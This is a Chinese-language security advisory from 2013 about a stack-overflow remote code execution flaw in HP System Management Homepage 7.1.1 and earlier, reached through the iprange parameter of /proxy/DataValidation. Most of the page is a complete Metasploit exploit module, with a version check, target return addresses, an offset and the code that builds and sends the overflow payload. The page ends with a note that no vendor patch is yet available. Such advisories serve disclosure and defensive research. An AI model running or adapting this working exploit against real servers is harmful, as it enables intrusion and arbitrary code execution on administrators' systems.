发布日期：2013-04-02
更新日期：2013-04-03

受影响系统：

HP System Management Homepage 7.0

描述：

---

BUGTRAQ  ID: 58817

HP System Management Homepage (HP SMH) 是一个基于 Web 的界面，可整合和简化对运行 HP-UX、Linux 和 Microsoft Windows 操作系统的 HP 服务器的单系统管理过程。

HP System Management Homepage 7.1.1及之前版本在实现上存在远程代码执行漏洞(栈溢出)，该漏洞是由于受影响产品对发往/proxy/DataValidation的请求中的iprange参数处理不当而导致。成功利用后可允许攻击者在受影响应用的上下文中执行任意代码。


<*来源：agix
  
  链接：http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?lang=en&cc=us&prodTypeId=15351&prodSeriesId=428936&swItem=MTX-df3d68cc03364ce78f1987b83b&prodNameId=3288114&swEnvOID=4006&swLang=8&taskId=135&mode=5
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HP System Management Anonymous Access Code Execution',
            'Description'    => %q{
                    This module exploits an anonymous remote code execution on HP System Management
                7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
                a request against /proxy/DataValidation. In order to work HP System Management must
                be configured with Anonymous access enabled.
            },
            'Author'         => [ 'agix' ], # @agixid
            'License'        => MSF_LICENSE,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 1000,
                    'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ESP' # See the comments below
                        }
                },
            'Platform'       => ['linux'],
            'Arch'           => ARCH_X86,
            'References'     =>
                [
                    ['OSVDB', '91812']
                ],
            'Targets'        =>
                [
                    [ 'HP System Management 7.1.1 - Linux (CentOS)',
                        {
                            'Ret' => 0x8054e14, # push esp / ret
                            'Offset' => 267
                        }
                    ],
                    [ 'HP System Management 6.3.0 - Linux (CentOS)',
                        {
                            'Ret' => 0x805a547, # push esp / ret
                            'Offset' => 267
                        }
                    ]
                ],
            'DisclosureDate' => 'Sep 01 2012',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(2381),
                OptBool.new('SSL', [true, 'Use SSL', true])
            ], self.class)

    end

    def check
        res = send_request_cgi({
            'method' => 'GET',
            'uri' => "/cpqlogin.htm"
        })

        if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
            version = $1
            return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
        end

        return Exploit::CheckCode::Safe
    end

    def exploit

        padding = rand_text_alpha(target['Offset'])
        ret = [target['Ret']].pack('V')
        iprange = "a-bz"+padding+ret+payload.encoded

        print_status("#{rhost}:#{rport} - Sending exploit...")

        res = send_request_cgi({
            'method' => 'GET',
            'uri' => "/proxy/DataValidation",
            'encode_params' => false,
            'vars_get' => {
                'iprange' => iprange
            }
        })

    end

end

建议：

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厂商补丁：

HP
--
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://itrc.hp.com

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